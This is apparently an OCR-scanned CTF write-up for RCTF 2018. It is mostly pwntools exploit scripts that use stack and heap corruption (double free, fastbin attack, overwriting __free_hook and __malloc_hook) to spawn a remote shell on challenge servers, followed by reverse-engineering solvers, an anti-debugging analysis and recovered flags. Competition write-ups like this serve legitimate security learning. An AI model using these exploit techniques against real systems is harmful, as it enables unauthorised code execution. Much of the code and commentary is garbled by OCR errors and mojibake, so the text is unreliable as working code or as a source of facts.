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from pwn import *
context.log level = ‘debug’

def fuck(chal):
from hashlib import sha256
import random

c =20
while True:
sol = p32(c)
if ( sha256(chal + sol).digest().startswith('\@\0\0") ):
print sol
return sol
c=c+1
data = """’
.data

numl: .word 2155911687
.text

1w $al, numil
1w $a2, %$al
1i $vo, 1
move $a@, %$a2
syscall

1w $al, numil

sub $a1, %$ail, 4

sub $a3, $a3, $a3

add $a3, $a3, 134513966
sw $a3, %$al

END
#p = process('./simulator’)

#p = process('./pow.py")
p = remote('45.77.241.149", 3131)


https://github.com/rajatkhanduja/MIPS-simulator

# pause()

chal = p.recvn(0x10)
p.recvuntil('\n")
sol = fuck(chal)
p.send(sol)

p.send(data)

data = int(p.recvuntil('\n', drop = True))

import ctypes

libc_start_main_addr = ctypes.c_uint32(data).value
log.info("_libc_start main(): " + hex(libc_start_main_addr))

libc_base = libc_start_main_addr - 0x018540
system_addr = libc_base + ©x032940
binsh_addr = libc_base + 0x15902b

payload = "'

payload += 'A' * 0x30
payload += p32(system_addr)
payload += p32(©xdeadbeef)
payload += p32(binsh_addr)

p.recvuntil('leave a comment:")
p.send(payload + '\n")

p.interactive()
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from pwn import *
context.log level = "info'

#p = process('./RNote3"')
p = remote('45.77.241.149", 7322)

def menu(c):
p.send(str(c) + "\n")

def new(title, length, content):

menu(1)
.recvuntil("please input title: ")
.send(title)
.recvuntil("please input content size: ")
.send(str(length) + "\n")
.recvuntil("please input content: ")
.send(content)
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def show(title):
menu(2)
p.recvuntil("please input note title: ")
p.send(title)

def edit(title, content):

menu(3)

p.recvuntil("please input note title: ")
p.send(title)

p.recvuntil("please input new content: ")
p.send(content)

def free(title):
menu(4)
p.recvuntil("please input note title: ")
p.send(title)

# pause()
new( 'notel\n', 0x18, 'A' * 0x18)

free('notel\n")
free('nope\n')# notel double free

# fastchunk overlap, modify the size of note2

# set note title to NULL string to repair fastbin

new(p64(0x00), Ox70, 'A' * Ox80)# note2

new(p64(0x00), 0x18, 'note2'.ljust(8, '\x00') + p64(0x100)[:7] + '\n')

# set up Ox20 fast chunk
new( 'dummy\n', ©x18, 'dummy\n')
free('dummy\n")

# occupy the fastchunk
new( 'dummyl\n', ©0x20, 'dummyl\n')
new( 'dummy2\n', ©x80, 'dummy2\n')

# edit note2, overflow to dummyl

# '\n' will be '\x00' to make content_ptr of dummyl pointed to dummy2's content_ptr
payload = "'

payload += 'A' * 0x70

payload += p64(0x00)

payload += p64(0x21)

payload += 'dummyl\x00\x00'

payload += p64(0x20)

payload += '\n'

edit('note2\n', payload)

# leak heap address

show( 'dummyl\n")

p.recvuntil('content: ")

heap_addr = u64(p.recvn(6) + '\x00\x00")



log.info("heap addr: " + hex(heap_addr))

# repair dummyl

payload = "'

payload += 'A' * 0x70

payload += p64(0x00)

payload += p64(0x21)

payload += 'dummyl\x00\x00'

payload += p64(0x20)

payload += p64(heap_addr - 0x30)[:7] + "\n'

edit('note2\n', payload)

# free small chunk to store libc address to heap
new( 'dummy3\n', ©0x10, 'dummy3\n')
free('dummy2\n')

# leak libc
payload = "'

payload += 'A' * 0x70

payload += p64(0x00)

payload += p64(0x21)

payload += 'dummyl\x00\x00"

payload += p64(0x20)

payload += p64(heap_addr)[:7] + "\n'

edit('note2\n', payload)
show( 'dummy1\n")
p.recvuntil('content: ")

libc_addr = u64(p.recvn(6) + '\x00\x00")

log.info("libc addr: " + hex(libc_addr))

libc_base = 1libc_addr - 0x3c4b78
free_hook = libc_base + 0x3c67a8
system_addr = libc_base + 0x45390

# modify _ free hook to system()
payload = "'

payload += 'A' * 0x70

payload += p64(0x00)

payload += p64(0x21)

payload += 'dummyl\x00\x00'

payload += p64(0x20)

payload += p64(free_hook)[:7] + "\n'

edit('note2\n', payload)
edit('dummyl\n', p64(system_addr)[:7] + '\n")

new('/bin/sh\n', 0x08, 'sh;\n")
free('/bin/sh\n")

n interartivel)
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from pwn import *
context.log level = 'info'

#p = process('./RNoted"')
p = remote('45.77.241.149", 6767)

def new(size, content):
p.send('\x01")
p.send(chr(size))
p.send(content)

def edit(idx, size, content):
p.send('\x02")
p.send(chr(idx))
p.send(chr(size))
p.send(content)

def delete(idx):
p.send('\x03")
p.send(chr(idx))

pause()

new(0x08, 'testtest')
new(0x08, p64(0x7fffdeadbeef))

payload = "'

payload += 'A' * 0x18
payload += p64(0x21)
payload += p64(0x08)
payload p64(0x601110)

+
I

edit(9, len(payload), payload)

edit(1, len('system\x00'), 'system\x00')

payload = '

payload += 'A' * 0x18
payload += p64(0x21)
payload += p64(0x08)
payload += p64(0x601ebd)

edit(@, len(payload), payload)

ERE setvbuf() 1 puts() HBLIEE
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edit(1, 8, p64(0x6011f0 - OX5f))
cmd = "/bin/sh\xee"
new(len(cmd), cmd)

delete(2)

p.interactive()

stringer
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from pwn import *
context.log level = 'info'

#p = process('./stringer")
p = remote('45.77.251.5"', 7272)

def menu(c):
p.recvuntil("choice: ")
p.send(str(c) + "\n")

def new(length, content):
menu(1)
p.recvuntil("please input string length: ")
p.send(str(length) + '"\n")
p.recvuntil("please input the string content: ")
p.send(content)

def edit(idx, idx_byte):
menu(3)
p.recvuntil("please input the index: ")
p.send(str(idx) + "\n')
p.recvuntil("input the byte index: ")
p.send(str(idx_byte) + "\n")

def free(idx):
menu(4)
p.recvuntil("please input the index: ")
p.send(str(idx) + "\n")

if __name__ == '_ _main__"':
new(0x18, 'A' * 0x08 + '\n')
new(0x100, 'B' * 0x10 + '\n")

new(0x100, 'C' * Ox10 + '\n")

free(1)



# change IS_MMAP bit
edit(@, ox18)
edit(e, 0x18)

new(0x100, 'C' * 0x07 + '\n')

p.recvuntil('C' * @x07 + '\n'")
libc_addr = u64(p.recvn(6) + "\x00\x00")

log.info("libc addr: " + hex(libc_addr))

new(Ox60, 'A' * 0x10 + '\n")
new(0x60, 'A" * Ox10 + '\n')

free(4)
free(5)
free(4)

libc_base = libc_addr - ©x3c4b78
malloc_hook = libc_base + ©x3c4ble
system_addr = libc_base + 0x45390

target = malloc_hook - ©x28 + 0x05

new(@Ox60, p64(target) + '\n')
new(0Ox60, p64(target) + '\n')
new(0x60, p64(target) + '\n')
new(Ox60, 'A' * 3 + p64(0x00) * 2 + p64(libc_base + Oxf02a4) + '\n')

# pause()
menu(1)
p.recvuntil("please input string length: ")

p.send(str(0x10) + '\n'")

p.interactive()

babyheap
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from pwn import *
context.log level = ‘debug'’
context.proxy = (socks.SOCKS5, '127.0.0.1', 1080)

#p = process('./babyheap")
p = remote('45.77.251.5", 3154)

def menu(c):
p.recvuntil("choice: ")

p.send(str(c) + "\n")

def alloc(length, content):



def

def

menu(1)
p.recvuntil("please input
.send(str(length) + "\n")

chunk size: ")

P
p.recvuntil("input chunk content: ")
p

.send(content)

show(idx):

menu(2)
p.recvuntil("please input
p.send(str(idx) + "\n")

delete(idx):

menu(3)
p.recvuntil("please input
p.send(str(idx) + "\n")

name == ' _ main__
alloc(oxlee, 'A' * Ox10 +
alloc(@xlee, 'A' * Ox10 +
alloc(oxlee, 'A' * Ox10 +
alloc(@x1l00, 'A' * 0x10 +
pause()
delete(9)
delete(1)
alloc(oxf8, 'A' * Oxf8)
alloc(ox80, 'A' * ox10 + '
alloc(ox60, 'B' * ©Ox10 + '
delete(1)
delete(2)

alloc(ox80, 'A' * ©Ox10 + '
show(4)

p.recvuntil('content: ")
libc_addr = u64(p.recvn(6)

chunk index: ")

chunk index: ")

\n")
\n")

\n")

+ "\x00\x00")

libc_base = libc_addr - 0x3c4b78

malloc_hook = libc _base +
system_addr = libc_base +

0x3c4bl0o
0x45390

log.info("libc base: " + hex(libc_base))

alloc(ox60, 'B' * ©Ox10 + '
alloc(ox60, 'C' * Ox10 + '
delete(2)
delete(5)

delete(4)

\n")
\n")



target = malloc_hook - ©x28 + 0x05

alloc(0x60, p64(target) + "\n')

alloc(0x60, p64(target) + '\n')

alloc(ox60, p64(target) + "\n'")

alloc(0x60, 'A' * 3 + p64(0x00) * 2 + p64(libc_base + 0x4526a) + '\n')
menu(1)

p.recvuntil("please input chunk size: ")

p.send(str(0x10) + ‘\n')

p.interactive()
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<VirtualHost *:80>

ServerAlias *.sandbox.r-cursive.ml

VirtualDocumentRoot /var/www/sandbox/%1

Options Indexes FollowSymLinks

PHPINIDir /var/www/sandbox

ErrorLog ${APACHE_LOG_DIR}/error.log

CustomLog ${APACHE_LOG DIR}/access.log combined
</VirtualHost>

retter

https://github.com/zsxsoft/my-rctf-2018/tree/master/retter

amp

https://github.com/zsxsoft/my-rctf-2018/tree/master/amp

backdoor

https://github.com/zsxsoft/my-rctf-2018/tree/master/compiler %26 backdoor

no-js
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https://github.com/zsxsoft/my-rctf-2018/tree/master/no-js
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simple vm

https://gist.github.com/spacemeowx2/6e8885117547854bef86f3abe27e98cc

compiler

https://github.com/zsxsoft/my-rctf-2018/tree/master/compiler %26 backdoor
babyre

#include<stdio.h>

#include<stdlib.h>

#include<string.h>

#tdefine bit(x,n) (((x)>>(n))&1)

#define g5(x,a,b,c,d,e) (bit(x,a)+bit(x,b)*2+bit(x,c)*4+bit(x,d)*8+bit(x,e)*16)
typedef unsigned long int uint32_t;

typedef unsigned long long int uint64_t;

uint32_t decrypt (const uint32_t data, const uint64_t key)
{
uint32_t x = data, r;
for (r = 0; r < 528; r++){
x = (x<<1)*bit(x,31)"bit(x,15)*(uint32_t)bit(key, (15-
r)&63) bit(0x5C743A2E,g5(x,0,8,19,25,30));
}

return x;

}

int main(int argc,char * argv[]){

unsigned long data[30]=
{0xB8OC91FE,0x70573EFE,O0xBEED92AE,0x7F7A8193,0x7390C17B,0x90347C6C, 0xAA7A15DF , 0xAA7A15D
F,0x526BA076,0x153F1A32,0x545C15AD, 0x7D8AA463,0x526BA076,0xFBCB7AAQ,0x7D8AA463,0x9C5132
66,0x526BA076,0x6D7DF3E1,0xAA7A15DF,0x9C513266,0x1EDC3864,0x9323BCO7,0x7D8AA463,0xFBCB7
AAD,Ox153F1A32,0x526BAB76,0xF5650025, 0XAA7A15DF , 0x1EDC3864
,0xB13AD888};
uint64_t key=0x1DO82C23A72BE4C1;
unsigned int datad;
for(int i=0;i<30;i++)
{
datad=decrypt(data[i], key);
printf("%c",datad);
}
printf("\n");
return 0;
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#include <stdio.h>
#tinclude <stdlib.h>
// #define _ DEBUG__

typedef struct graph_node {
char value;
int sum,route;

} gNode;

gNode* getNode(gNode* g,int index) {
if (index<@ || index>=256) {
return NULL;
}

return &g[index];

}

void updateNode(gNode* g,int index) {
gNode* node = getNode(g,index);
if (node == NULL){
return;
¥
gNode* left = index%16==0?NULL:getNode(g,index-1);
gNode* up = index/16==0?NULL:getNode(g,index-16);
if (left == NULL &% up == NULL) {
node->sum = node->value;
}else {
if (left!=NULL) {
node->sum = left->sum + node->value;
node->route = (left->route<<1)&Oxfffffffe;
}
if (up!=NULL) {
int sum = up->sum + node->value;
if (node->sum>sum) {
node->sum=sum;
node->route = (up->route<<1)|1;



#ifdef _ DEBUG__
void print_graph(gNode* g) {

printf("------------ GRAPH------------

for(int 1 =0; i < 16; i++)

{

for(int j = 0; j < 16; j++)

{
if (j!=0) {
putchar(' ');
}
putchar(g[i*16+]j].value);
}
putchar('\n');
}
printf("------------ EVALUATE---------

for(int 1 =0; i < 16; i++)

{

for(int j = 0; j < 16; j++)

{
if (j1=0) {
putchar(' ");
}
printf("%4d",g[i*16+]j].sum);
}
putchar('\n');
}
printf("------------ ROUTE---------------

for(int i =0; i < 16; i++)

{

for(int j = 0; j < 16; j++)

{
if (j!=0) {
putchar(' ");
}
printf("%08x",g[i*16+j].route);
}
putchar('\n');
}
}
#endif

void evaluate(char* p,int* min,int * route) {

gNode G[256] = {0};
for(int 1 = 0; i < 256; i++)

{



G[i].value = p[i];

G[i].sum = __ INT32_MAX__;
G[i].route = 0O;
updateNode(G,i);

}
#ifdef _ DEBUG__

print_graph(G);
#endif
*min = G[255].sum;
*route = G[255].route;

int main() {
#ifdef WIN32
for(int now = 1526720400; now < 1526893200; now++ ) {
char flagl[256] =
{0x58,0x71,0x8f,0x32,0x05,0x06,0x51,0xc7,0xa7,0xf8,0x3a,0xel,0x06,0x48,0x82,0x09,0xal,0
x12,0x9f,0x7c,0xb8,0x2a,0x6f,0x95,0xfd,0xd0,0x67,0xCc8,0xe3,0xce,Oxab,0x12,0x1f,0x98,0x6
b,0x14,0xea,0x89,0x90,0x21,0x2d,0xfd,0x9a,0xbb,0x47,0xcc,0Oxea,0x9c,0xd7,0x50,0x27,0xaf,
0xb9,0x77,0xdf,0xc5,0xe9,0xel,0x50,0xd3,0x38,0x89,0xef,0x2d,0x72,0xc2,0xdf,0xf3,0x7d, 0x
7d,0x65,0x95,0xed,0x13,0x00,0x1c,0xa3,0x3c,0xe3,0x57,0xe3,0xf7,0xf7,0x2c,0x73,0x88,0x34
,0xb1,0x62,0xd3,0%x37,0x19,0x26,0xbe,0xb2,0x33,0x20,0x3f,0x60,0x39,0x87,0xa6,0x65,0xad,0
x73,0x1la,0x6d,0x49,0x33,0x49,0xc0,0x56,0x00,0xbe,0x0a,0xcf,0x28,0x7e,0x8e,0x69,0x87,0xe
1,0x05,0x88,0xda,0x54,0x3e,0x3c,0x0e,0xa9,0xfa,0xd7,0x7f,0x4e,0x44,0xc6,0x9a,0x0a,0xd2,
0x98,0x6a,0xa4,0x19,0x6d,0x8c,0xel,0xf9,0x30,0xe5,0xff,0x33,0x4a,0xa9,0x52,0x3a,0x0d, Ox
67,0x20,0x1d,0xbf,0x36,0x3e,0xe8,0x56,0xbf,0x5a,0x88,0xa8,0x69,0xd6,0xab,0x52,0xf1,0x14
,0xf2,0xd7,0xef,0x92,0xf7,0xa0,0x70,0xal,0xef,0xe3,0x1f,0x66,0x2b,0x97,0xf6,0%x2b,0%x30,0
x0f,0xb0,0xb4,0xc0,0xfe,0xab6,0x62,0xfd,0xe6,0x4c,0x39,0xcf,0x20,0xb3,0x10,0x60,0x9f,0x3
4,0xbe,0xb2,0x1c,0x3b,0x6b,0x1d,0xdf,0x53,0x72,0xf2,0xfa,0xbl,0x51,0x82,0x04,0x30,0x56,
ox1f,0x37,0x72,0x7a,0x97,0x50,0%x29,0x86,0x4a,0x09,0x3c,0x59,0xc4,0x41,0x71,0xf8,0x1a,0x
d2,0x30,0x88,0x63,0xff,0x85,0xde,0x24,0x8c,0xc3,0x37,0x14,0xc7};
srand(now) ;
for(int i = @; i < 256; i++)
flagl[i]~=rand()%256;
int min = @,route = 0;
evaluate(flagl,&min,&route);
if (min == 0x700) {
printf("magic time = %d, rc4 key = 0x%08x\n", now, route);
return 0;

}

printf("failed\n");

return -1;

#telse

printf("compile me on Windows plz :)\n");
#endif
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int main()
{
char key[] = {
0x63,0xEF,0xD5,0xA2,0x63,0xB8,0x17,0xAB,0xD0,0xC6,0xD8,0x50,0xD1,0x46,0x97,0xDF,
@xC4,0x51,0x01,0xED,0x45,0x78,0xD8,0x5F ,0xC4,0xD8 };
char cmpStr[] = {
©x89,0xC1,0XEC,0x50,0x97,0x3A,0x57,0x59,0XE4, OXE6 , OXE4,0x42 , 0XCB,0xD9, 0x08 ,0x22,
OxAE,0x9D,0x7C,0x07,0x80,0x8F ,0x1B,0x45,0x04,0xE8 };
unsigned char tmp;
for (int 1 = @; i < 26; i++)

{
if (i%2 == @) tmp = cmpStr[i] ~ Ox66;
else tmp = cmpStr[i] ~ Ox99;
tmp = tmp & Oxff;
tmp = (tmp - OxCC) &Oxff;
tmp = tmp ~ key[i];
printf("%c", tmp);
}
printf("\n");
return 0;
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simple re

EITIEFREBPTRACE ATTACHRITIR | EEANLAroot BHDIETT.

FRIDANIEFEFS HIGEE | XEEFAIR NG R — M.

® Please confirm X

Bad ELF byte sex 2 for the indicated machine. Continue?

Yes Ho

[ !’ FIEase Wdail.. % F

gdb o E BN 2 E AR/ NRAY |, (BRSSPI B 7 Kim.,
# Tile re

re: ELF 64-bit MSB *unknown arch 0x3e00* (SYSV)

IDAIRTERF AR B
¥ Warning X

lllegal program entry point (4018CB8)

I b

1)
ENCR0x4018CE R | IBITHE
re:0@000800004018C8 loc_481B8CSE: ; DATA XREF: re:008800000040818CF o
re:00000000004018C8 mov rbp, offset _init proc
re:8000000000841818CF mov r9, offset loc_4818C8
re:gee0e0e0084818D6
re:20000000004018D6 loc 481B8D6: ; CODE XREF: re:0880000000491BEB! ]
re: 8080000008481 8D6 mov rg, eCCh
re: 000000000040180D xor [rbp+2], r8
re:2@020800004018E1 mov r8, [rbp+@]
re:000008000684018E5 inc rbp
re:80000000084018E8 cmp rbp, r9
re: 4818EB jl short loc_4@818D6
re: 2002020000401 8ED mov rbp, offset start
re:0@ep0000004018F4 jmp rbp

XEREFITES
MO0x400958%1/(0x4018C8- 1IN FT5 70X CC



IRER I AR R TR

with open('re','rb') as f:
content = list(f.read())
for i in range(©x958, ©x18c8):
content[i]=chr(ord(content[i])"@xcc)

with open('unre','wb') as f:
f.write(''.join(content))

DAfNZunre , BRI LABRIEZEREL

A

f| _start LOAD
f| sub_400AED LOAD
f| sub_400E10 LOAD
f| sub_400B50 LOAD
f | sub_400E80 LOAD
f | sub_400B87 LOAD
71 sub_400D84 LOAD
7| sub_400EA7 LOAD
71 sub_400EC1 LOAD
| f| main LOAD

mainBEREER T fork , XFHFEEMA T sub_400B87eR %L , AN NEIF7
puts("input flag:");
read(@, &qword 6020E@, @x21ull);
*(_QWORD *)s = qword_6@20E0;
7 = qword_6820ES8;
vE = qword_6020F0;
qword_60820F8;
vle = word _602100;
vll = 1732584193;
vi2 = -271733879;
vl3 = -1732584194;
vida = 271733878;
vl19 = (unsigned int)strlen(s) >> 2;
if ( v19 & (unsigned _ int8)sub_4@80B87(s, v19, &v11) )
puts(“Right!");
kill(::pid, 9);
return GLL;

sub_400B87REISLhR EH XS flagitiT#Ity , EfFRETEES.



bool _ fastcall sub_488B87( DWORD *al, int a2, _ int64 a3)

{

}

unsipgned int v3; // ST2C 4

int vd4; ff 5734 4

int v6; // [rsp+28h] [rbp-18h]

unsigned int v7; // [rsp+3@h] [rbp-18h]
unsigned int v8; // [rsp+34h] [rbp-Ch]

int iz // [rsp+3Bh] [rbp-8h]

unsigned int v1@; // [rsp+3Ch] [rbp-4h]

vla
fo

{

}

=Gj
r{i=25%2/az+6; i; --1 )

vd@ = al[a2 - 1];

V7 = 8;

vl@ -= 1648531527;

ve = (vi@ »>» 2) & 3;

while ( a2 - 1 > (signed int)w7 )

v3 = al[v7 + 1];:
al[v?] += ({v3 ~ via) + (v& » *{ DWORD *)(4LL * (vE& * v7 & 3) + a3))) * ((4 * v3 ~ (v8 »> 5)})
+ ((v3 »> 3) ~ 16 * v3));
v o= al[vi++];s
¥
al[a2 - 1] += ((®al » v1@) + (vB ~ *(_DWORD *)(4LL * (v6 ~ v7 & 3) + 23))) ~ ((4 * *al ~ (v8 >> 5))
+ {(*al >> 3) ~ 16 * v3));

[ __debugbreak(]);|

return memcmp(al, "quehsj kcneop amneuf ieha shdhde”, @x28ull) == @;

EZEmainiREy , BEFHERNZIE



if ((l::pid )
{
prctl(4, @LL, =22);
pid = getppid();
if ( ptrace(PTRACE_ATTACH, (unsigned int)pid, @LL, @LL) )
1
kill(pid, 9);
exit(l);
}
LODWORD(stat loc. uptr) = @;
wait((  WAIT STATUS)&stat loc);
if ( ptrace(PTRACE_SETOPTIONS, (unsigned int)pid, @LL, 1848578LL) )
1
kill(pid, 9);
exit(1l);
}
ptrace(PTRACE_CONT, (unsigned int)pid, @LL, OLL);
while ( 1 )
1
sub_408D84(&qword_6020E0) ;
v3 = &stat loc;
vl7 = waitpid(-1, (int *)&stat_loc, 1);
if ( v17 )
break;
sleep(lu);
}
if ( SWORD1(stat loc. iptr) == 1)
1
vl5 = @LL;
ptrace (PTRACE_GETEVENTMSG, v17, @LL, &v15);
ptrace(PTRACE_ATTACH, v15, @LL, @LL);
v3 = v15;
ptrace(PTRACE_CONT, v15, @LL, @LL);
}
vd = (int *)sub_4@@EC1(2040984LL, v3);
*(int **)((char *)&stat loc.__iptr + 4) = v4;
JUMPOUT(__CS__ , v4);
¥

FiAtERattachRQATE , FIARHEENE S SHFHENNIE,
RHFFREF__debugbreak(FFEESE | FIEFRSXNHENipHTRE. TEEMARDHT
FEFFHFEE T sub 400ECT , sub 400ECTE0T :
volid sub 480EC1()
{

JUMPOUT(__ €S, sub 4BBEA7(@x3B@E37LL));

¥



sub_400EC1IEFE T sub_400EA7 , sub_400EA7H0T :
__inte4 _ fastcall sub_488EAY7(__int64 al)

{
¥

return dword 6020B8 + al;

dword_6020B8=0x1000AC , a0~ F7~ :

‘LDAD: 682888 dword_68208B8 dd 18eeaACh ; DATA XREF: sub 488E9748Tr

BRUARRZSsub_400EA7(x) = 0xT000AC + x

sub_400EA7(0x300E37LL)=0x1000AC +0x300E37=0x400EE3
FrLAERsub 400EC1AEJLE%UOMOOEBER , 1E0x400EE3LMAYEHIBEERALES |, AN TERT7R.

LOAD : 90000DOOIIAIEES ; ~---=--rmccmc e e e e e
LOAD ;: 6888806000408EE3 mov rdi, rbx

LOAD : 2200000028400EES call sub_488EA7

LOAD : p8p0800000400EEDB add rax, 18eDaah

LOAD ; Gee0e0e000400EF 1 pop rbx

LOAD: EF2 pop rbp

LOAD : @BEF3 retn

e SRR ———

FrLABRESsub_400ECT(x)=sub_400EA7(x)+0x10EDO0= 0x1000AC + x + Ox10EDOO = x + 0x20EDAC

FiHF2iEMsub_400EC1(2040984) = 2040984 + Ox20edac = 0x401244
F50x401 2448EESE PR RS



LOAD: epa@aRe000481244
LOAD: Baaaa2e000401 244
LOAD: booaBe0000401248
LOAD: paaae000040124E
LOAD: ep2a220000401251
LOAD: b0808000008401256
LOAD : 2322228000401 258
LOAD: eaa8800000401250
LOAD : dpaaa20000401262
LOAD : 2322220000401 267
LOAD: epotaoe000401260
LOAD: dpapa2e000401270
LOAD: booooe0000401272
LOAD: boatae0800401279
LOAD : 6322220800401 27C
LOAD: bocooe000040127F
LOAD : dpaaa2e000401284
LOAD: 2322220000401 286
LOAD: eooooe0000401280
LOAD: dRa2220000401290
LOAD: bo2ao20000401295
LOAD : eaaaeeeaae48129C
LOAD : 2222220200401 243
LOAD: eao8000004012AA8
LOAD : dpaaaee000401 24D
LOAD: 222220000401 2B80
LOAD: boooo00000401285
LOAD : daa2a28000401 287
LOAD: boaooe000040128C
LOAD : eaaaaeaaae4812C1
LOAD : 2322220000401 2C6
LOAD : 22000000004012C6 loc_4012C6:
LOAD : epadaee0004012C6

LOAD: ea2a22000040212C9

LOAD : boooa000004012CE

LOAD : daa22208004012D3

LOAD: bBaa820000401205

LOAD : ddaaa2e0004012DA

LOAD: 2322220000401 2DF

LOAD: ebotee00004012E4

LOAD : 00@BBBBDOOIOLZED ; - - - - == == == == == == == = o e e e

lea rdx, [rbptvar_1A8]
mov eax, [rbptvar C]
mov rcx, rdx
mowv edx, @
mow esi, eax
mow edi, PTRACE_GETSIGINFO ; request
mov eax, @
call _ptrace
mov eax, [rbptvar 1A8]
cmp  eax,
jnz short loc_4812C6
lea rdx, [rbpts]
mov eax, [rbpt+var_C]
mow rcx, rdx
mov edx, @
mov esi, eax
mov edi, PTRACE_GETREGS ; request
mov eax, @
call _ptrace
lea rax, sub_488FB1
mov [rbp+var_aB], rax
lea rdx, [rbp+s]
mowv eax, [rbptvar_(]
mov rcx, rdx
mowv edx, @
Mo esi, eax
mov edi, PTRACE_SETREGS ; request
mov eax, @
call _ptrace
; CODE XREF: main+lEFtj
mov eax, [rbpt+var_C]
mov ecx, @
mow edx, @
mov esi, eax
mov edi, PTRACE_CONT ; request
mov eax, @
call _ptrace
jmp loc_ 481177

RiAFEP__debugbreak()F=4SIGTRAPESfG , FHIEERIHIEAIripiR E H0x400FB1,

3HT0x400FB14LAIMAES

LOAD : 2000000000488FB1
LOAD : 0000000000400FB2
LOAD : 0000000000400FB5
LOAD : 2000000000400F B9
LOAD : 2000000000400FCO
LOAD : 6000000000400FC 3
LOAD : 2000002200400FCS
LOAD : 2000000000400FCC
LOAD : 2000000000400F CF

push rbp

mov rbp, rsp

sub rsp, 26h

lea rax, cs:1F223eh
mov rdi, rax

call sub_488EC1

mov [rbp+var_10], rax
push [rbp+var_1@]

LOAD: 00@e000000400rCF EEINOORSINEOD NSNS pranay s st

LOAD: 6006000000480FCF

L EHIretnaEHITsub_400ECT(0x1F2230)=0x1F2230+0x20EDAC=0x400FDCREAIAED |, Xo

Ox400F DCALAICASH TR -



LOAD:
LOAD:

LOAD

LOAD:
LOAD:
LOAD:
LOAD:

LOAD:

LOAD:
LOAD:
LOAD:
LOAD:

LOAD:

LOAD:
LOAD:
LOAD:
LOAD:
LOAD :
LOAD:
LOAD:
LOAD:

LOAD:

LOAD:
LOAD:
LOAD:
LOAD:

LOAD:

LOAD:
LOAD:
LOAD:
LOAD:

LOAD

LOAD:
LOAD:
LOAD:
LOAD:

LOAD:

LOAD:
LOAD:
LOAD:
LOAD:

LOAD:

LOAD:
LOAD:
LOAD:

LOAD:

LOAD:
LOAD:
LOAD:
LOAD:

LOAD:

LOAD:
LOAD:

lea rax, loc_ 481482
mov [rbp-18h], rax
mov byte ptr [rbp-1Fh], 'R’
mov byte ptr [rbp-1Eh], 'i°
mov byte ptr [rbp-1Dh], 'g’
mov byte ptr [rbp-1Ch], 'h°’
mov byte ptr [rbp-1Bh], 't'
mov byte ptr [rbp-1Ah], "!°’
mov byte ptr [rbp-19h], @
mov gword ptr [rbp-8], @
jmp short loc_481832
j =e=ssccccscecscscsssssssssssssssssscsssssssssesssssssssssmssssssssssssssssss
loc_481660: ; CODE XREF: LOAD:B8868080000848163D17
mov rdx, [rbp-18h]
mov rax, [rbp-8]
add rax, rdx
movIx  ecx, byte ptr [rax]
mov rdx, [rbp-18h]
mov rax, [rbp-8]
add rax, rdx
xor ecx, 28h
mov edx, ecx
mov [rax], dl1
add gword ptr [rbp-8], 1
loc_4@1032: ; CODE XREF: LOAD:@20000000048180B1j
lea rax, cs:162h
cmp [rbp-8], rax
jb short loc_4816a0
lea rdi, qword_6@20EQ
call loc_481482
test al, al
jz short loc_481@58
lea rax, [rbp-1Fh]
mav rdi, rax
call _puts
loc_481856: ; CODE XREF: LOAD:®80000000040184D1]
mov eax, cs:pid
test eax, eax
jz short loc_481677
mov eax, cs:pid
mov esi, 9
mov edi, eax
call _kill
loc_4816877: ; CODE XREF: LOAD:@88620800084818631j
mow edi, @
call _exit
j =============== 5 JB R OUTINE =============s==========================

0x400FDCALRIAE A B EIEHRflaghyittys | iZ&LRIRIESIG0x4014828]0x401482 +0x162HIARF
FHTHEOX2 814,
RS

with open('unre’,'rb") as f:

content = list(f.read())

foriin range(0x1482, 0x1482+0x162):
content[i]=chr(ord(content[i]) A 0x28)

with open('funre’,'wb’) as f:

f.write(" join(content))

IDAINEfunre , S9#Tsub_401482, ER#Esub_400EF43S{LlpythonfYpowkREl , BREIsub_400F5B3K
3 GENESEIN



L8 _ fastcall sub_481482(__int64 al)

| :“bp—i' H
[rbp-

ve = 1433291113;
F79572865;
143987559;
2526618467 ;
1828312841 ;
vld 2768589599,
3 1419819453;
1266779712;
2394385415;
2858733821;
3188586475 ;
vd 289157282;
for (i =@; 1 <= 5; ++1 )

if ( *(&v9 + i) * *( DWORD *)(4 * 1 + al) != *(&v3 + 1) )
return @LL;

if { (unsigned int)sub_4@@EF4(*(unsigned int *){al + 24), *(unsigned __intlé *){al + 28), 4132155773LL) != 1878842076
|| (unsigned int)sub_4@8@FSB(*(unsigned _ intl6 *)(al + 28), *(unsigned _ intlé *)(al + 38)) != 42134 )

return BLL;

1
vis = 8;
for (1 =24; i <= 31; ++1 )
vls *= *(char *)(i + al);
return v15 == 22 && *(_BYTE *)(al + 32) == 's';

PRSI

#-*-coding:utf-8-*-

from libnum import *
import string

_Flag = un

GS]
es

[1433291113, 779572065, 143907559, 2526610467, 1828312041, 2768589599]
[1419819453, 1266779712, 2394305415, 2850733821, 3100506475, 289157202]

for i in range(6):
flag += n2s((es[i] * invmod(cs[i], 2**32))%2**32)[::-1]

n = 4132155773
c = 1870842076
_sum = 42134

p, q = list(factorize(n))
for i in range(256):
for j in range(256):
e =73 * 256 + 1
if has_invmod(e, (p-1)*(g-1)):



d = invmod(e, (p-1)*(qg-1))
sl = n2s(pow(c, d, n))[::-1]
s2 = n2s(e)[::-1]
s3 = n2s((_sum-e)%0x10000)[::-1]
result = s1 + s2 + s3
sign = True
X =0
for _ in result:
X "= ord( )
if x == 22:
for _ in result:
if not _ in string.printable:
sign = False
break
if sign:
flag += result

flag += 's'
print flag

15&lflag: 50_M@ny_an7i_Rev3rsing_Technlqu3s

==
IIEI\gI:I .

TEFF—TFFiafork , SOHEEARAagFIMTEREL , SLFREFEES. FHEMIIRHE , SIEIR
HEFERISSH | FHESEIHERNpIREI0x400FB1 , KHITERIflagHIRTEREL,

sql

flag{lgs_rof_galf_esrever_a}
sqlite EIREQRIFEREITIE , NOFHAEHAT

0|Trace|0|0|0]|00|
1|Goto|0]93]0]|00|

BrEEE]93

93|Transaction|0]0]0]|00|
94|VerifyCookie|0|1]0]|00|
95|TableLock|0]2|0|flags|00|

XEBEEMFflagk
96- 1642 EMR(EIR(E

96|Integer|1|3]0]|00|
F=ar(3] = 1
101|String8|0|9|0|a|00|
Z=r[9] = 'a



165|Goto|0]2]0]|00]
BEEE]2

2|OpenRead|0]2]|0]|1|00]
3|Rewind|0]91|0]|00]

XER =AY flagR(ZRIELIT T AYSEERF

4|Column|0]0]|2||00|
5|Function|6|2|1|substr(3)|03|
6|Ne|5]|90|1||64a|

Ne2 A BEEHkEL |, Q05Rr[5] = r[1] FBEEEZI0 , r[1]2589Function4SER |, r[511E98#R{E f9'f'
B X FXFFunctionAg#EiA
